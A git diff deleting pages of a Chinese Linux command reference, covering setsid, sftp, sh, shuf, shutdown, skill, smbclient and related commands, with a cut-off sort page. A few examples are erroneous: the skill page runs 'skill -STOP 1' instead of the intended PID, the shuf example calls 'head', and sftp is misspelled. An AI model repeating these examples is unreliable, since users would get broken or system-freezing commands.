-service smb restart
-
-

允许rsync其他用户写入时:

-
setsebool -P allow_rsync_anon_write=1
-
-

停止rsync的进程保护

-
setsebool -P rsync_disable_trans 1
-
-

允许系统使用kerberos:

-
setsebool -P allow_kerberos 1
-
-

系统工作在nis环境时:

-
setsebool -P allow_ypbind 1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/setsid.html b/linux-command.docset/Contents/Resources/Documents/c/setsid.html deleted file mode 100644 index e36c1da8f4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/setsid.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - setsid 命令,Linux setsid 命令详解:在新的会话中运行程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

setsid

-

在新的会话中运行程序

-

补充说明

-

setsid命令 子进程从父进程继承了:SessionID、进程组ID和打开的终端。子进程如果要脱离这些,代码中可通过调用setsid来实现。,而命令行或脚本中可以通过使用命令setsid来运行程序实现。setsid帮助一个进程脱离从父进程继承而来的已打开的终端、隶属进程组和隶属的会话。

-

语法

-
setsid[options] <program> [arguments ...]
-
-

选项

-
-c, --ctty   将控制终端设置为当前控制终端
--f, --fork   总是 fork
--w, --wait   等待程序退出,并使用相同的返回
-
-

实例

-

可见 setsid 的使用也是非常方便的,也只需在要处理的命令前加上 setsid 即可

-
[root@root ~]# setsid ping www.ibm.com
-[root@root ~]# ps -ef |grep www.ibm.com
-root 31094 1 0 07:28 ? 00:00:00 ping www.ibm.com
-root 31102 29217 0 07:29 pts/4 00:00:00 grep www.ibm.com
-[root@root ~]#
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sftp-server.html b/linux-command.docset/Contents/Resources/Documents/c/sftp-server.html deleted file mode 100644 index 6e8b241119..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sftp-server.html +++ /dev/null @@ -1,76 +0,0 @@ - - - - - - - - - - - sftp-server 命令,Linux sftp-server 命令详解:sftp协议的服务器端程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sftp-server

-

sftp协议的服务器端程序

-

补充说明

-

sftp-server命令 是一个“sftp”协议的服务器端程序,它使用加密的方式进行文件传输。

-

语法

-
sftp-server
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sftp.html b/linux-command.docset/Contents/Resources/Documents/c/sftp.html deleted file mode 100644 index ce3a9451fe..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sftp.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - sftp 命令,Linux sftp 命令详解:交互式的文件传输程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sftp

-

交互式的文件传输程序

-

补充说明

-

sftp命令 是一款交互式的文件传输程序,命令的运行和使用方式与ftp命令相似,但是,sftp命令对传输的所有信息使用ssh加密,它还支持公钥认证和压缩等功能。

-

语法

-
sftp(选项)(参数)
-
-

选项

-
-B:指定传输文件时缓冲区的大小;
--l:使用ssh协议版本1;
--b:指定批处理文件;
--C:使用压缩;
--o:指定ssh选项;
--F:指定ssh配置文件;
--R:指定一次可以容忍多少请求数;
--v:升高日志等级。
-
-

参数

-

目标主机:指定sftp服务器ip地址或者主机名。

-

实例

-

建立联接

-
$ sfpt username@1.1.1.1 # 回车输入密码
-
-

获取文件下载到指定路径

-
sftp> get /export/sftp/test.csv /Users/my/Downloads
-Fetching /export/sftp/test.csv to /Users/my/Downloads/test.csv
-/export/sftp/test.csv            100%  133     0.3KB/s   00:00
-
-

上传本地文件到服务器指定路径

-
sftp> put /Users/my/Downloads/re-produce.gif /export/sftp
-Uploading /Users/my/Downloads/re-produce.gif to /export/sftp/re-produce.gif
-/Users/my/Downloads/re-produce.gif            100%  257KB  86.6KB/s   00:02
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sh.html b/linux-command.docset/Contents/Resources/Documents/c/sh.html deleted file mode 100644 index d9519025a0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sh.html +++ /dev/null @@ -1,114 +0,0 @@ - - - - - - - - - - - sh 命令,Linux sh 命令详解:shell命令解释器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sh

-

shell命令解释器

-

补充说明

-

sh命令 是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取。通过用户输入命令,和内核进行沟通!Bourne Again Shell (即bash)是自由软件基金会(GNU)开发的一个Shell,它是Linux系统中一个默认的Shell。Bash不但与Bourne Shell兼容,还继承了C Shell、Korn Shell等优点。

-

语法

-
bash [options] [file]
-
-

选项

-
-c string:命令从-c后的字符串读取。
--i:实现脚本交互。
--n:进行shell脚本的语法检查。
--x:实现shell脚本逐条语句的跟踪。
-
-

实例

-

使用-x选项跟踪脚本调试shell脚本,能打印出所执行的每一行命令以及当前状态:

-
[root@AY1307311912260196fcZ satools]# sh -x check_ssh_login.sh
-+ DEFINE=30
-+ cat /var/log/secure
-+ awk '/Failed/ {++ip[$(NF-3)]} END {for (i in ip) print i"="ip[i]}'
-++ cat /root/satools/black.txt
-+ for i in '`cat /root/satools/black.txt`'
-++ echo 121.42.0.16=1427
-++ awk -F= '{print $1}'
-+ IP=121.42.0.16
-++ echo 121.42.0.16=1427
-++ awk -F= '{print $2}'
-+ NUM=1427
-+ '[' 1427 -gt 30 ']'
-+ grep 121.42.0.16 /etc/hosts.deny
-+ '[' 1 -gt 0 ']'
-+ echo sshd:121.42.0.16
-+ echo vsftpd:121.42.0.16
-+ for i in '`cat /root/satools/black.txt`'
-++ echo 121.42.0.72=276
-++ awk -F= '{print $1}'
-+ IP=121.42.0.72
-++ awk -F= '{print $2}'
-++ echo 121.42.0.72=276
-+ NUM=276
-+ '[' 276 -gt 30 ']'
-+ grep 121.42.0.72 /etc/hosts.deny
-+ '[' 1 -gt 0 ']'
-+ echo sshd:121.42.0.72
-+ echo vsftpd:121.42.0.72
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/shift.html b/linux-command.docset/Contents/Resources/Documents/c/shift.html deleted file mode 100644 index c91c6adced..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/shift.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - shift 命令,Linux shift 命令详解:移动位置参数。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

shift

-

移动位置参数。

-

概要

-
shift [n]
-
-

主要用途

-
    -
  • 将位置参数$n, $n+1...重命名为$1, $2...
  • -
-

参数

-

n(可选):大于等于1且小于等于参数个数的整数,默认为1。

-

返回值

-

返回成功除非n大于参数个数或n小于1以及其他非法值。

-

例子

-

假设我们的脚本文件(test.sh)如下:

-
#!/usr/bin/env bash
-# 显示前三个位置参数。
-echo "$1 $2 $3"
-# 移除前两个位置参数,并将$3重命名为$1,之后的以此类推。
-shift 2
-echo "$1 $2 $3"
-
-

在终端执行该脚本:

-
sh test.sh q w e r t
-
-

返回信息如下:

-
q w e
-e r t
-
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/shopt.html b/linux-command.docset/Contents/Resources/Documents/c/shopt.html deleted file mode 100644 index 6063e6c625..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/shopt.html +++ /dev/null @@ -1,103 +0,0 @@ - - - - - - - - - - - shopt 命令,Linux shopt 命令详解:显示和设置shell操作选项 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

shopt

-

显示和设置shell操作选项

-

补充说明

-

shopt命令 用于显示和设置shell中的行为选项,通过这些选项以增强shell易用性。shopt命令若不带任何参数选项,则可以显示所有可以设置的shell操作选项。

-

语法

-
shopt(选项)(参数)
-
-

选项

-
-s:激活指定的shell行为选项;
--u:关闭指定的shell行为选项。
-
-

参数

-

shell选项:指定要操作的shell选项。

-

实例

-

使用shopt命令显示当前所有可以设置的shell操作选项,输入如下命令:

-
shopt           #输出所有可以设置的shell操作选项
-cdable_vars     off
-cdspell         off
-checkhash       off
-checkwinsize    on
-cmdhist         on
-dotglob         off
-execfail        off
-expand_aliases  on
-extdebug        off
-...
-
-

如图上所示,选项"cdspell"的状态为"off",即关闭cd拼写检查选项。现在,可以使用shopt命令将其开启,输入如下命令:

-
shopt -s cdspell          #开启cd拼写检查
-
-

执行上面的命令后,该选项的状态将变为"on",即开启状态。可以再次通过该命令显示一下shell操作选项即可,输出信息如下:

-
cdspell on                #开启cdspell选项
-
-

用户可以通过实际执行cd命令检查该选项是否被成功开启。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/showmount.html b/linux-command.docset/Contents/Resources/Documents/c/showmount.html deleted file mode 100644 index b0eab3ab1e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/showmount.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - showmount 命令,Linux showmount 命令详解:显示NFS服务器加载的信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

showmount

-

显示NFS服务器加载的信息

-

补充说明

-

showmount命令 查询“mountd”守护进程,以显示NFS服务器加载的信息。

-

语法

-
showmount(选项)(参数)
-
-

选项

-
-d:仅显示已被NFS客户端加载的目录;
--e:显示NFS服务器上所有的共享目录。
-
-

参数

-

NFS服务器:指定NFS服务器的ip地址或者主机名。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/shuf.html b/linux-command.docset/Contents/Resources/Documents/c/shuf.html deleted file mode 100644 index 4a4c32aba3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/shuf.html +++ /dev/null @@ -1,125 +0,0 @@ - - - - - - - - - - - shuf 命令,Linux shuf 命令详解:产生随机的排列。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

shuf

-

产生随机的排列。

-

概要

-
shuf [OPTION]... [FILE]
-shuf -e [OPTION]... [ARG]...
-shuf -i LO-HI [OPTION]...
-
-

主要用途

-
    -
  • 将输入的内容随机排列并输出。
  • -
  • 当没有文件或文件为-时,读取标准输入。
  • -
-

选项

-
-e, --echo                  将每个ARG视为输入行。
--i, --input-range=LO-HI     将数字范围LO(最低)到HI(最高)之间的作为输入行。
--n, --head-count=COUNT      只输出前COUNT行。
--o, --output=FILE           将结果写入到文件而不是标准输出。
-    --random-source=FILE    将FILE中内容作为随机数据源。
--r, --repeat                输出行可以重复。
--z, --zero-terminated       行终止符为NUL(空字符)而不是默认的换行符。
---help                      显示帮助信息并退出。
---version                   显示版本信息并退出。
-
-

参数

-

FILE(可选):要处理的文件,可以为任意数量。

-

ARG(可选):作为输入行的字符串,可以为任意数量。

-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-
# 模拟硬币抛掷,获取前10个结果:
-[user2@pc ~]$ head -r -n 10 -e "正面" -e "反面"
-反面
-正面
-正面
-正面
-反面
-反面
-反面
-正面
-正面
-正面
-
-
# 体彩超级大乐透:
-[user2@pc ~]$ shuf -i 1-35 -n 5|sort -n && shuf -i 1-12 -n 2|sort -n
-4
-17
-20
-29
-31
-6
-11
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,更多详细的帮助信息请查看man -s 1 shufinfo coreutils 'shuf invocation'
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/shutdown.html b/linux-command.docset/Contents/Resources/Documents/c/shutdown.html deleted file mode 100644 index 24217ed44c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/shutdown.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - shutdown 命令,Linux shutdown 命令详解:用来执行系统关机的命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

shutdown

-

用来执行系统关机的命令

-

补充说明

-

shutdown命令 用来系统关机命令。shutdown指令可以关闭所有程序,并依用户的需要,进行重新开机或关机的动作。

-

语法

-
shutdown(选项)(参数)
-
-

选项

-
-c:当执行“shutdown -h 11:50”指令时,只要按+键就可以中断关机的指令;
--f:重新启动时不执行fsck;
--F:重新启动时执行fsck;
--h:将系统关机;
--k:只是送出信息给所有用户,但不会实际关机;
--n:不调用init程序进行关机,而由shutdown自己进行;
--r:shutdown之后重新启动;
--t<秒数>:送出警告信息和删除信息之间要延迟多少秒。
-
-

参数

-
    -
  • [时间]:设置多久时间后执行shutdown指令;
  • -
  • [警告信息]:要传送给所有登入用户的信息。
  • -
-

实例

-

指定现在立即关机:

-
shutdown -h now
-
-

指定5分钟后关机,同时送出警告信息给登入用户:

-
shutdown +5 "System will shutdown after 5 minutes"
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/skill.html b/linux-command.docset/Contents/Resources/Documents/c/skill.html deleted file mode 100644 index f05112a317..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/skill.html +++ /dev/null @@ -1,149 +0,0 @@ - - - - - - - - - - - skill 命令,Linux skill 命令详解:向选定的进程发送信号冻结进程 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

skill

-

向选定的进程发送信号冻结进程

-

补充说明

-

skill命令 用于向选定的进程发送信号,冻结进程。这个命令初学者并不常用,深入之后牵涉到系统服务优化之后可能会用到。

-

语法

-
skill(选项)
-
-

选项

-
-f:快速模式;
--i:交互模式,每一步操作都需要确认;
--v:冗余模式;
--w:激活模式;
--V:显示版本号;
--t:指定开启进程的终端号;
--u:指定开启进程的用户;
--p:指定进程的id号;
--c:指定开启进程的指令名称。
-
-

实例

-

如果您发现了一个占用大量CPU和内存的进程,但又不想停止它,该怎么办?考虑下面的top命令输出:

-
top -c -p 16514
-23:00:44  up 12 days,  2:04,  4 users,  load average: 0.47, 0.35, 0.31
-1 processes: 1 sleeping, 0 running, 0 zombie, 0 stopped
-CPU states:  cpu    user    nice  system    irq  softirq  iowait    idle
-           total    0.0%    0.6%    8.7%   2.2%     0.0%   88.3%    0.0%
-Mem:  1026912k av, 1010476k used,   16436k free,       0k shrd,   52128k buff
-                    766724k actv,  143128k in_d,   14264k in_c
-Swap: 2041192k av,   83160k used, 1958032k free                  799432k cached
-
-  PID USER     PRI  NI  SIZE  RSS SHARE stat %CPU %MEM   time CPU command
-16514 oracle    19   4 28796  26M 20252 D N   7.0  2.5   0:03   0 oraclePRODB2...
-
-

既然您确认进程16514占用了大量内存,您就可以使用skill命令“冻结”它,而不是停止它。

-
skill -STOP 1
-
-

之后,检查top输出:

-
23:01:11  up 12 days,  2:05,  4 users,  load average: 1.20, 0.54, 0.38
-1 processes: 0 sleeping, 0 running, 0 zombie, 1 stopped
-CPU states:  cpu    user    nice  system    irq  softirq  iowait    idle
-           total    2.3%    0.0%    0.3%   0.0%     0.0%    2.3%   94.8%
-Mem:  1026912k av, 1008756k used,   18156k free,       0k shrd,    3976k buff
-                    770024k actv,  143496k in_d,   12876k in_c
-Swap: 2041192k av,   83152k used, 1958040k free                  851200k cached
-
-  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME CPU COMMAND
-16514 oracle    19   4 28796  26M 20252 T N   0.0  2.5   0:04   0 oraclePRODB2...
-
-

现在,CPU 从 0% 空闲变为 94% 空闲。该进程被有效冻结。过一段时间之后,您可能希望唤醒该进程:

-
skill -CONT 16514
-
-

如果希望暂时冻结进程以便为完成更重要的进程腾出空间,该方法非常有用。

-

此命令用途很广。如果您要停止 "oracle" 用户的所有进程,只需要一个命令即可实现:

-
skill -STOP oracle
-
-

可以使用用户、PID、命令或终端 id 作为参数。以下命令可停止所有 rman 命令。

-
skill -STOP rman
-
-

如您所见,skill 决定您输入的参数(进程 ID、用户 ID 或命令)并进行相应操作。这可能会导致在某些情况下出现这样的问题:您可能具有同名的用户和命令。最好的示例是 "oracle" 进程,通常由用户 "oracle" 运行。因此,当您希望停止名为 "oracle" 的进程时,可执行以下命令:

-
skill -STOP oracle
-
-

用户 "oracle" 的所有进程都停止,包括您可能要使用的会话。要非常明确地执行命令,您可以选择使用一个新参数指定参数的类型。要停止一个名为 oracle 的命令,可执行以下命令:

-
skill -STOP -c oracle
-
-

snice命令的功能与skill类似。但它用于降低进程的优先级,而不是停止进程。首先,检查 top 输出:

-
  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME CPU COMMAND
-    3 root      15   0     0    0     0 RW    0.0  0.0   0:00   0 kapmd
-13680 oracle    15   0 11336  10M  8820 T     0.0  1.0   0:00   0 oracle
-13683 oracle    15   0  9972 9608  7788 T     0.0  0.9   0:00   0 oracle
-13686 oracle    15   0  9860 9496  7676 T     0.0  0.9   0:00   0 oracle
-13689 oracle    15   0 10004 9640  7820 T     0.0  0.9   0:00   0 oracle
-13695 oracle    15   0  9984 9620  7800 T     0.0  0.9   0:00   0 oracle
-13698 oracle    15   0 10064 9700  7884 T     0.0  0.9   0:00   0 oracle
-13701 oracle    15   0 22204  21M 16940 T     0.0  2.1   0:00   0 oracle
-
-

现在,将 "oracle" 进程的优先级降低四个点。注意,该值越高,优先级越低。

-
snice +4 -u oracle
-  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME CPU COMMAND
-16894 oracle    20   4 38904  32M 26248 D N   5.5  3.2   0:01   0 oracle
-
-

注意,NI 列(nice 值)现在是 4,优先级现在设置为 20,而不是 15。这对于降低优先级非常有帮助。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/slabtop.html b/linux-command.docset/Contents/Resources/Documents/c/slabtop.html deleted file mode 100644 index 57225c3255..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/slabtop.html +++ /dev/null @@ -1,143 +0,0 @@ - - - - - - - - - - - slabtop 命令,Linux slabtop 命令详解:实时显示内核slab内存缓存信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

slabtop

-

实时显示内核slab内存缓存信息

-

补充说明

-

slabtop命令 以实时的方式显示内核“slab”缓冲区的细节信息。

-

语法

-
slabtop(选项)
-
-

选项

-
--delay=n, -d n:每n秒更新一次显示的信息,默认是每3秒;
---sort=S, -s S:指定排序标准进行排序(排序标准,参照下面或者man手册);
---once, -o:显示一次后退出;
---version, -V:显示版本;
---help:显示帮助信息。
-
-

排序标准:

-
    -
  • a: sort by number of active objects
  • -
  • b: sort by objects per slab
  • -
  • c: sort by cache size
  • -
  • l: sort by number of slabs
  • -
  • v:sort by number of active slabs
  • -
  • n: sort by name
  • -
  • o: sort by number of objects
  • -
  • p: sort by pages per slab
  • -
  • s: sort by object size
  • -
  • u: sort by cache utilization
  • -
-

知识扩展

-

内核的模块在分配资源的时候,为了提高效率和资源的利用率,都是透过slab来分配的。通过slab的信息,再配合源码能粗粗了解系统的运行情况,比如说什么资源有没有不正常的多,或者什么资源有没有泄漏。linux系统透过/proc/slabinfo来向用户暴露slab的使用情况。

-

Linux 所使用的 slab 分配器的基础是 Jeff Bonwick 为 SunOS 操作系统首次引入的一种算法。Jeff 的分配器是围绕对象缓存进行的。在内核中,会为有限的对象集(例如文件描述符和其他常见结构)分配大量内存。Jeff 发现对内核中普通对象进行初始化所需的时间超过了对其进行分配和释放所需的时间。因此他的结论是不应该将内存释放回一个全局的内存池,而是将内存保持为针对特定目而初始化的状态。Linux slab 分配器使用了这种思想和其他一些思想来构建一个在空间和时间上都具有高效性的内存分配器。

-

保存着监视系统中所有活动的 slab 缓存的信息的文件为/proc/slabinfo。

-

实例

-
slabtop
-
- Active / Total Objects (% used)    : 897519 / 1245930 (72.0%)
- Active / Total Slabs (% used)      : 38605 / 38605 (100.0%)
- Active / Total Caches (% used)     : 94 / 145 (64.8%)
- Active / Total Size (% used)       : 129558.22K / 153432.58K (84.4%)
- Minimum / Average / Maximum Object : 0.01K / 0.12K / 128.00K
-
-  OBJS ACTIVE  USE OBJ SIZE  SLABS OBJ/SLAB CACHE SIZE NAME                   
-440136 171471  38%    0.05K   6113       72     24452K buffer_head
-190086 148576  78%    0.05K   2437       78      9748K selinux_inode_security
-151840 146366  96%    0.48K  18980        8     75920K ext3_inode_cache
-144333 144143  99%    0.02K    711      203      2844K avtab_node
-130529 128488  98%    0.13K   4501       29     18004K dentry_cache
- 99214  99071  99%    0.03K    878      113      3512K size-32
- 43834  28475  64%    0.27K   3131       14     12524K radix_tree_node
- 17818   9450  53%    0.06K    302       59      1208K size-64
-  4602   4562  99%    0.05K     59       78       236K sysfs_dir_cache
-  3220   2855  88%    0.08K     70       46       280K vm_area_struct
-  2460   2114  85%    0.12K     82       30       328K size-128
-  1564   1461  93%    0.04K     17       92        68K Acpi-Operand
-  1540   1540 100%    0.33K    140       11       560K inode_cache
-  1524    466  30%    0.01K      6      254        24K anon_vma
-  1440    515  35%    0.05K     20       72        80K avc_node
-  1440   1154  80%    0.19K     72       20       288K filp
-  1170   1023  87%    0.05K     15       78        60K ext3_xattr
-   845    724  85%    0.02K      5      169        20K Acpi-Namespace
-   638    315  49%    0.35K     58       11       232K proc_inode_cache
-   450    434  96%    0.25K     30       15       120K size-256
-   424    386  91%    0.50K     53        8       212K size-512
-   312    107  34%    0.05K      4       78        16K delayacct_cache
-   306    284  92%    0.43K     34        9       136K shmem_inode_cache
-   303    108  35%    0.04K      3      101        12K pid
-   300    261  87%    0.19K     15       20        60K skbuff_head_cache
-   300    300 100%    0.12K     10       30        40K bio
-   260    260 100%   32.00K    260        1      8320K size-32768
-   254      6   2%    0.01K      1      254         4K revoke_table
-   236     55  23%    0.06K      4       59        16K fs_cache
-   216    203  93%    1.00K     54        4       216K size-1024
-   214    214 100%    2.00K    107        2       428K size-2048
-   203     83  40%    0.02K      1      203         4K biovec-1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sleep.html b/linux-command.docset/Contents/Resources/Documents/c/sleep.html deleted file mode 100644 index 5b22a4c59b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sleep.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - sleep 命令,Linux sleep 命令详解:将目前动作延迟一段时间 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sleep

-

将目前动作延迟一段时间

-

补充说明

-

sleep命令 暂停指定的时间。

-

语法

-
sleep(参数)
-
-

参数

-

时间:指定要暂停时间的长度。

-

时间长度,后面可接 s、m、h 或 d,其中 s 为秒,m 为 分钟,h 为小时,d 为日数。

-

实例

-

有时在写一些以循环方式运行的监控脚本,设置时间间隔是必不可少的,下面是一个Shell进度条的脚本演示在脚本中生成延时。

-
#!/bin/bash
-
-b=''
-for ((i=0;$i<=100;i++))
- do
- printf "Progress:[%-100s]%d%%\r" $b $i
- sleep 0.1
- b=#$b
- done
-echo
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/slocate.html b/linux-command.docset/Contents/Resources/Documents/c/slocate.html deleted file mode 100644 index 12756176c5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/slocate.html +++ /dev/null @@ -1,96 +0,0 @@ - - - - - - - - - - - slocate 命令,Linux slocate 命令详解:命令查找文件或目录 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

slocate

-

命令查找文件或目录

-

补充说明

-

slocate命令 是一个命令查找文件或目录。slocate本身具有一个数据库,里面存放了系统中文件与目录的相关信息。

-

语法

-
slocate [-u][--help][--version][-d <目录>][查找的文件]
-
-

选项

-
-d<目录>或--database=<目录>  指定数据库所在的目录。
--u  更新slocate数据库。
---help  显示帮助。
---version  显示版本信息。
-
-

实例

-

使用指令"slocate"显示文件名中含有关键字"fdisk"的文件路径信息,输入如下命令:

-
$ slocate fdisk #显示文件名中含有fdisk关键字的文件的路径信息 
-
-

执行以上命令后,指令执行的输出信息如下:

-
$ slocate fdisk #显示文件名中含有fdisk 关键字的文件的路径信息  
-/root/cfdisk        #搜索到的文件路径列表  
-/root/fdisk  
-/root/sfdisk  
-/usr/include/grub/ieee1275/ofdisk.h  
-/usr/share/doc/util-Linux/README.cfdisk  
-/usr/share/doc/util-Linux/README.fdisk.gz  
-/usr/share/doc/util-Linux/examples/sfdisk.examples.gz  
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/smbclient.html b/linux-command.docset/Contents/Resources/Documents/c/smbclient.html deleted file mode 100644 index 593dc3f74a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/smbclient.html +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - smbclient 命令,Linux smbclient 命令详解:交互方式访问samba服务器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

smbclient

-

交互方式访问samba服务器

-

补充说明

-

smbclient命令 属于samba套件,它提供一种命令行使用交互式方式访问samba服务器的共享资源。

-

语法

-
smbclient(选项)(参数)
-
-

选项

-
-B<ip地址>:传送广播数据包时所用的IP地址;
--d<排错层级>:指定记录文件所记载事件的详细程度;
--E:将信息送到标准错误输出设备;
--h:显示帮助;
--i<范围>:设置NetBIOS名称范围;
--I<IP地址>:指定服务器的IP地址;
--l<记录文件>:指定记录文件的名称;
--L:显示服务器端所分享出来的所有资源;
--M<NetBIOS名称>:可利用WinPopup协议,将信息送给选项中所指定的主机;
--n<NetBIOS名称>:指定用户端所要使用的NetBIOS名称;
--N:不用询问密码;
--O<连接槽选项>:设置用户端TCP连接槽的选项;
--p<TCP连接端口>:指定服务器端TCP连接端口编号;
--R<名称解析顺序>:设置NetBIOS名称解析的顺序;
--s<目录>:指定smb.conf所在的目录;
--t<服务器字码>:设置用何种字符码来解析服务器端的文件名称;
--T<tar选项>:备份服务器端分享的全部文件,并打包成tar格式的文件;
--U<用户名称>:指定用户名称;
--w<工作群组>:指定工作群组名称。
-
-

参数

-

smb服务器:指定要连接的smb服务器。

-

实例

-

列出某个IP地址所提供的共享文件夹

-
smbclient -L 198.168.0.1 -U username%password
-
-

像ftp客户端一样使用smbclient

-
smbclient //192.168.0.1/tmp  -U username%password
-
-

执行smbclient命令成功后,进入smbclient环境,出现提示符:smb:/>

-

这里有许多命令和ftp命令相似,如cd 、lcd、get、megt、put、mput等。通过这些命令,我们可以访问远程主机的共享资源。

-

直接一次性使用smbclient命令

-
smbclient -c "ls"  //192.168.0.1/tmp  -U username%password
-
-

-
smbclient //192.168.0.1/tmp  -U username%password
-smb:/>ls
-
-

功能一样的。

-

创建一个共享文件夹

-
smbclient -c "mkdir share1" //192.168.0.1/tmp -U username%password
-
-

如果用户共享//192.168.0.1/tmp的方式是只读的,会提示NT_STATUS_ACCESS_DENIED making remote directory /share1

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/smbpasswd.html b/linux-command.docset/Contents/Resources/Documents/c/smbpasswd.html deleted file mode 100644 index b39336a317..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/smbpasswd.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - smbpasswd 命令,Linux smbpasswd 命令详解:samba用户和密码管理工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

smbpasswd

-

samba用户和密码管理工具

-

补充说明

-

smbpasswd命令 属于samba套件,能够实现添加或删除samba用户和为用户修改密码。

-

语法

-
smbpasswd(选项)(参数)
-
-

选项

-
-a:向smbpasswd文件中添加用户;
--c:指定samba的配置文件;
--x:从smbpasswd文件中删除用户;
--d:在smbpasswd文件中禁用指定的用户;
--e:在smbpasswd文件中激活指定的用户;
--n:将指定的用户的密码置空。
-
-

参数

-

用户名:指定要修改SMB密码的用户。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sort.html b/linux-command.docset/Contents/Resources/Documents/c/sort.html deleted file mode 100644 index ff4678ce12..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sort.html +++ /dev/null @@ -1,245 +0,0 @@ - - - - - - - - - - - sort 命令,Linux sort 命令详解:对文本文件中所有行进行排序。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sort

-

对文本文件中所有行进行排序。

-

概要

-
sort [OPTION]... [FILE]...
-sort [OPTION]... --files0-from=F
-
-

主要用途

-
    -
  • 将所有输入文件的内容排序后并输出。
  • -
  • 当没有文件或文件为-时,读取标准输入。
  • -
-

选项

-

排序选项:

-
-b, --ignore-leading-blanks    忽略开头的空白。
--d, --dictionary-order         仅考虑空白、字母、数字。
--f, --ignore-case              将小写字母作为大写字母考虑。
--g, --general-numeric-sort     根据数字排序。
--i, --ignore-nonprinting       排除不可打印字符。
